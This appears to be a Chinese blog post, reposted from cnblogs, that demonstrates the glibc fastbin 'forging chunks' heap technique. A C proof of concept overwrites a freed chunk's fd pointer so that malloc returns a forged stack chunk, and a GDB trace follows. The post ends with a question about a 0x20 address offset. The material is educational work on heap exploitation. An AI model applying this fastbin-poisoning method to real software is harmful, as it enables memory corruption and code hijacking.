堆溢出---Forging Chunks

堆溢出的一种情况有forging chunks,见测试代码:

  1 /* Per thread arena example. */
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 #include <pthread.h>
  5 #include <unistd.h>
  6 #include <sys/types.h>
  7 #include <string.h>
  8 //using namespace std;
  9 
 10 struct forged_chunk {
 11   size_t prev_size;
 12   size_t size;
 13   struct forged_chunk *fd;
 14   struct forged_chunk *bck;
 15   char buf[10];               // padding
 16 };
 17 
 18 int main(){
 19     printf("Welcome to per thread arena example::%d\n",getpid());
 20     getchar();
 21     // First grab a fast chunk
 22     void* a = malloc(10);               // 'a' points to 0x555555756a80
 23 
 24     // Create a forged chunk
 25     struct forged_chunk chunk;    // At address 0x7fffffffe9e0
 26     chunk.size = 0x20;            // This size should fall in the same fastbin
 27     char* data = (char *)&chunk.fd;     // Data starts here for an allocated chunk
 28     strcpy(data, "attacker's data"); //
 29 
 30     // Put the fast chunk back into fastbin
 31     free(a);
 32     // Modify 'fd' pointer of 'a' to point to our forged chunk
 33     *((unsigned long long *)a) = (unsigned long long)&chunk;
 34     // Remove 'a' from HEAD of fastbin
 35     // Our forged chunk will now be at the HEAD of fastbin
 36     void* tmp = malloc(10);                   // Will return 0x555555756a80
 37 
 38     void* victim = malloc(10);    // Points to 0x7fffffffea00
 39     printf("%s\n", (char*)victim);
 40     getchar();
 41 
 42 }

见GDB:

Starting program: /home/ubuntu/MyProject/test 
Welcome to per thread arena example::12323

Breakpoint 1, main () at test.cpp:20
20        getchar();
(gdb) display {a,&a,&chunk,tmp,victim}
1: {a,&a,&chunk,tmp,victim} = {0x9, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0}
(gdb) display {chunk}
2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, 
    bck = 0x0, buf = "\360HUUUU\000\000\020G"}}
(gdb) n
a
22        void* a = malloc(10);               // 'a' points to 0x219c010
1: {a,&a,&chunk,tmp,victim} = {0x9, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0}
2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, 
    bck = 0x0, buf = "\360HUUUU\000\000\020G"}}
(gdb) n
26        chunk.size = 0x20;            // This size should fall in the same fastbin
1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 
  0x7fffffffea58, 0x0}
2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, 
    bck = 0x0, buf = "\360HUUUU\000\000\020G"}}
(gdb) b 36
Breakpoint 2 at 0x5555555548a6: file test.cpp, line 36.
(gdb) c
Continuing.

Breakpoint 2, main () at test.cpp:36
36        void* tmp = malloc(10);                   // Will return 0x219c010
1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 
  0x7fffffffea58, 0x0}
2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, 
    bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}}
(gdb) n
38        void* victim = malloc(10);    // Points to 0x7ffc6de966a0
1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 
  0x555555756a80, 0x0}
2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, 
    bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}}
(gdb) n
39        printf("%s\n", (char*)victim);
1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 
  0x555555756a80, 0x7fffffffea00}
2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, 
    bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}}
(gdb) 

需要说明的几点:

1. 程序中产生了一个allocated chunk:由malloc(10)产生

2. a 指向chunk后,a中fd指向了恶意代码

3. a被free后,调用malloc时,将fastbin中的空闲区占用

4. 二次malloc时,将chunk.fd所在的forge_check指针地址返回给user

问题:

33行之后,a 和chunk的的值为何相差0x20?

猜你喜欢

转载自www.cnblogs.com/uncontrolledbits/p/12785669.html